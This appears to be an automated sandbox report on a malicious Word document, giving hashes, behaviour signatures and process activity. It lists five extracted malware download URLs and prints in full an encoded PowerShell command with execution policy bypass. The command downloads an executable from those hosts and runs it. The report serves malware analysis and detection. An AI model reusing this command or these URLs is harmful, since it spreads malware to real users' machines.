Analysis
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max time kernel
105s -
max time network
143s -
platform
windows10-2004_x64 -
resource
win10v2004-20230621-en -
resource tags
arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system -
submitted
30-06-2023 12:55
Static task
static1
Behavioral task
behavioral1
Sample
Rech_1075478616DE_Mai_23_2019.doc
Resource
win7-20230621-en
Behavioral task
behavioral2
Sample
Rech_1075478616DE_Mai_23_2019.doc
Resource
win10v2004-20230621-en
General
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Target
Rech_1075478616DE_Mai_23_2019.doc
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Size
125KB
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MD5
659f175cbd422379fe3a6a63c5b1f640
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SHA1
61af3732c39c9ec9e6b0bd1234eba2ccfe8a42e6
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SHA256
5d7bd5ab1f0ef9fe49f97b49fc955f64a9878fc341650143d572b24126f1284b
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SHA512
bfe05e59cce39f8747a0ee1186a4a4f6d8834882972bf238f0dcd6743314871df4cb11e824e382ed95cb29808e7e0d75d6ab6d3aec69532d7865171a5e50aa87
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SSDEEP
3072:S77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8q/tr0mXSSBgfy1:S77HUUUUUUUUUUUUUUUUUUUT52V8r0mj
Malware Config
Extracted
https://atlanticsg.com/wp-includes/fsfrz22_mkp29qlby-69478/
http://eastpennlandscape.com/css/qhJUtdBFvM/
http://mcs-interiors.co.uk/cgi-bin/MUbadZUIXD/
http://laderajabugo.navicu.com/wp-admin/6ohv5j_6m40d-4652183/
http://banphongresort.com/wp-includes/8hxbg02o_wkpvf-27459009/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1032 1624 powershell.exe -
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exeflow pid process 44 1032 powershell.exe 62 1032 powershell.exe 65 1032 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 368 WINWORD.EXE 368 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1032 powershell.exe 1032 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1032 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
WINWORD.EXEpid process 368 WINWORD.EXE 368 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 368 WINWORD.EXE 368 WINWORD.EXE 368 WINWORD.EXE 368 WINWORD.EXE 368 WINWORD.EXE 368 WINWORD.EXE 368 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 368 wrote to memory of 4452 368 WINWORD.EXE splwow64.exe PID 368 wrote to memory of 4452 368 WINWORD.EXE splwow64.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Rech_1075478616DE_Mai_23_2019.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy bypass -noprofile -e JABRAG4AZgB6AGoASAB3AD0AJwBGAGkAcQBMAGwAdwAnADsAJABOAGwATQBJAGQAawAgAD0AIAAnADcAMAA2ACcAOwAkAHcAcwBOAGQAMAA1AD0AJwBYAGgAUgBpAGkATwBQAGwAJwA7ACQAdQBVAEkARQBPAGYAMgB6AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABOAGwATQBJAGQAawArACcALgBlAHgAZQAnADsAJABaAEUAdwBCAFIAUwBPAD0AJwBuAEYAcAB6AGkAdwAnADsAJABUAHAAUwA0ADYAcwA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBgAGUAdABgAC4AdwBFAGIAQwBgAGwASQBFAE4AdAA7ACQARAB3AGIAOQB6AHMAVwA9ACcAaAB0AHQAcABzADoALwAvAGEAdABsAGEAbgB0AGkAYwBzAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGYAcwBmAHIAegAyADIAXwBtAGsAcAAyADkAcQBsAGIAeQAtADYAOQA0ADcAOAAvAEAAaAB0AHQAcAA6AC8ALwBlAGEAcwB0AHAAZQBuAG4AbABhAG4AZABzAGMAYQBwAGUALgBjAG8AbQAvAGMAcwBzAC8AcQBoAEoAVQB0AGQAQgBGAHYATQAvAEAAaAB0AHQAcAA6AC8ALwBtAGMAcwAtAGkAbgB0AGUAcgBpAG8AcgBzAC4AYwBvAC4AdQBrAC8AYwBnAGkALQBiAGkAbgAvAE0AVQBiAGEAZABaAFUASQBYAEQALwBAAGgAdAB0AHAAOgAvAC8AbABhAGQAZQByAGEAagBhAGIAdQBnAG8ALgBuAGEAdgBpAGMAdQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANgBvAGgAdgA1AGoAXwA2AG0ANAAwAGQALQA0ADYANQAyADEAOAAzAC8AQABoAHQAdABwADoALwAvAGIAYQBuAHAAaABvAG4AZwByAGUAcwBvAHIAdAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AOABoAHgAYgBnADAAMgBvAF8AdwBrAHAAdgBmAC0AMgA3ADQANQA5ADAAMAA5AC8AJwAuAHMAUABsAEkAdAAoACcAQAAnACkAOwAkAEIAUwAyAHAAbQA1AHQAPQAnAGgAegBuAFUAYQBsACcAOwBmAG8AcgBlAGEAYwBoACgAJABHAGkAbQA4AHoAXwBHAFIAIABpAG4AIAAkAEQAdwBiADkAegBzAFcAKQB7AHQAcgB5AHsAJABUAHAAUwA0ADYAcwAuAEQAbwBXAE4ATABPAEEAZABmAEkATABFACgAJABHAGkAbQA4AHoAXwBHAFIALAAgACQAdQBVAEkARQBPAGYAMgB6ACkAOwAkAEwAUQBYADYAYQA2AD0AJwBoAEoAcwB6AHMAdwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAJwArACcAbQAnACkAIAAkAHUAVQBJAEUATwBmADIAegApAC4ATABFAE4ARwB0AEgAIAAtAGcAZQAgADMAMwA2ADkAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAcwB0AEEAcgB0ACgAJAB1AFUASQBFAE8AZgAyAHoAKQA7ACQATABTAEkAMwA0AEsARgA9ACcAaABjAEgANwBWAGYAJwA7AGIAcgBlAGEAawA7ACQATwBoADUAdABtAFkAbQA9ACcAbgBBADQAaQAyAEcAYQB1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAWQBVAEYAUwBqAD0AJwBvAEcAcwB3AE4AdQAnAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\8E438471.wmfFilesize
444B
MD5e4d9e0c328e0d49a4ae292c6d7c90f9c
SHA1581efd30ab465a876cf0dfc2643d3aa997a645df
SHA25658a928dca68cd7dae76c90c9855effa831ecbf9ee179644fce601dd7aa2172a2
SHA512869962fc8e20943a7c9982896e81c31e170dd7b4860a94e4e4084bcb4a8b44371d8874637160743500c8b31941f9333539949d4930251893d2172b00a58f7495
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ctmgam0r.vhw.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/368-139-0x00007FF808640000-0x00007FF808650000-memory.dmpFilesize
64KB
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memory/368-136-0x00007FF80A7B0000-0x00007FF80A7C0000-memory.dmpFilesize
64KB
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memory/368-137-0x00007FF80A7B0000-0x00007FF80A7C0000-memory.dmpFilesize
64KB
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memory/368-138-0x00007FF808640000-0x00007FF808650000-memory.dmpFilesize
64KB
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memory/368-220-0x00007FF80A7B0000-0x00007FF80A7C0000-memory.dmpFilesize
64KB
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memory/368-135-0x00007FF80A7B0000-0x00007FF80A7C0000-memory.dmpFilesize
64KB
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memory/368-150-0x000002216FAF0000-0x000002216FCF0000-memory.dmpFilesize
2.0MB
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memory/368-158-0x000002216FAF0000-0x000002216FCF0000-memory.dmpFilesize
2.0MB
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memory/368-133-0x00007FF80A7B0000-0x00007FF80A7C0000-memory.dmpFilesize
64KB
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memory/368-223-0x00007FF80A7B0000-0x00007FF80A7C0000-memory.dmpFilesize
64KB
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memory/368-134-0x00007FF80A7B0000-0x00007FF80A7C0000-memory.dmpFilesize
64KB
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memory/368-221-0x00007FF80A7B0000-0x00007FF80A7C0000-memory.dmpFilesize
64KB
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memory/368-222-0x00007FF80A7B0000-0x00007FF80A7C0000-memory.dmpFilesize
64KB
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memory/1032-165-0x0000023149E70000-0x0000023149E80000-memory.dmpFilesize
64KB
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memory/1032-189-0x0000023149E70000-0x0000023149E80000-memory.dmpFilesize
64KB
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memory/1032-188-0x0000023149E70000-0x0000023149E80000-memory.dmpFilesize
64KB
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memory/1032-187-0x0000023149E70000-0x0000023149E80000-memory.dmpFilesize
64KB
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memory/1032-181-0x0000023149E70000-0x0000023149E80000-memory.dmpFilesize
64KB
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memory/1032-180-0x0000023149E70000-0x0000023149E80000-memory.dmpFilesize
64KB
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memory/1032-166-0x0000023149E10000-0x0000023149E32000-memory.dmpFilesize
136KB